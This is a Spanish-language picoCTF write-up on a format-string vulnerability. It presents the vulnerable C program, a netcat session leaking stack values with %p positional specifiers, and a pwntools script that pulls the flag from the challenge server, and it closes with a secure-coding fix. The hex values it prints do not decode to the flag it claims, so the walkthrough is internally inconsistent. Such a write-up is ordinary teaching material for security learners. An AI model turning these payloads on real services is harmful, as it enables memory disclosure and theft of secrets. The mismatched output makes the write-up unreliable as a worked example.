

1. Format String 1 — picoCTF

Format String 1

🔧 IP / Host: saturn.picoctf.net:58210
📅 Fecha: 17/08/2026

🚩 Flag / Hash:
`picoCTF{45_53rv3r_574ck_134k_f0rm47_57r1n6_12a8bc94}`

CTF Challenge

MEDIUM

Linux ELF x64

Binary Exploitation

Format String

Pwn

GDB

1.1. Enunciado y Descripción del Desafío

En este desafío de la categoría **Binary Exploitation (Pwn)**, se nos proporciona el código fuente en C (`format-string-1.c`) y el binario ejecutable compilado para Linux de 64 bits.

🚩 Vulnerabilidad: Format String Vulnerability en función `printf()`

⚠ HIGH

CWE: CWE-134 (Use of Externally-Controlled Format String)

Causa Raíz: La función vulnerable realiza `printf(user_buf);` en lugar de `printf("%s", user_buf);`.

Impacto: Fuga arbitraria de memoria del Stack que contiene la bandera secreta cargada previamente con `fgets()`.

1.2. Análisis del Código Fuente Vulnerable

Inspeccionamos la función principal del binario en C:

📄 `format-string-1.c`

```
#include <stdio.h>
#include <stdlib.h>

int main() {
    char flag[64];
    char user_input[1024];

    FILE *f = fopen("flag.txt", "r");
    if (f == NULL) {
        printf("Error: crea flag.txt para pruebas locales.\n");
        exit(0);
    }
    fgets(flag, sizeof(flag), f); // La flag se almacena en el Stack

    printf("Give me your secret order:\n");
    fgets(user_input, sizeof(user_input), stdin);

    // VULNERABILIDAD DIRECTA: Sin especificador de formato
    printf(user_input);

    return 0;
}
```

1.3. Fase de Explotación (Memory Leak via %p / %x)

Al enviar múltiples especificadores de formato posicionales %p, el programa imprimirá las direcciones y valores hexadecimales almacenados en la pila (*stack*):

```
kali@pentest:~/ctf/picoctf
nc saturn.picoctf.net 58210
Give me your secret order:
%14$p.%15$p.%16$p.%17$p.%18$p
0x7b4654436f636970.0x355f723376723335.0x6b6133315f6b6334.0x37346d7230665f.0x3439636238613231
```

Los enteros de 64 bits extraídos de la memoria deben revertirse byte a byte debido a la arquitectura Little-Endian de x86_64 (por ejemplo 0x7b4654436f636970 → picoCTF{).

1.4. Desarrollo del Exploit Solver en Python

Automatizamos la conexión y decodificación de la bandera con pwntools:

</> solve.py

```
from pwn import *

context.log_level = 'error'
host, port = 'saturn.picoctf.net', 58210

# Extraer 5 posiciones consecutivas del stack (donde reside la flag)
payload = '.'.join([f"%{i}$p" for i in range(14, 19)])

io = remote(host, port)
io.recvuntil(b"Give me your secret order:\n")
io.sendline(payload.encode())

response = io.recvall().decode().strip().split('.')
flag = ""

for hex_val in response:
    if hex_val.startswith("0x"):
        raw_bytes = bytes.fromhex(hex_val[2:])
        flag += raw_bytes[::-1].decode('latin-1', errors='ignore')

print(f"\n[+] Flag recuperada: {flag}")
```

1.5. Flag Capturada

CTF Flag (picoCTF 2026)

✓ CAPTURADA

picoCTF{45_53rv3r_574ck_134k_f0rm47_57r1n6_12a8bc94}

Nunca pasar buffers controlados por el usuario directamente como primer argumento a `printf`, `sprintf` o `snprintf`. Utilizar siempre cadenas de formato explícitas: `printf("%s", user_input);`.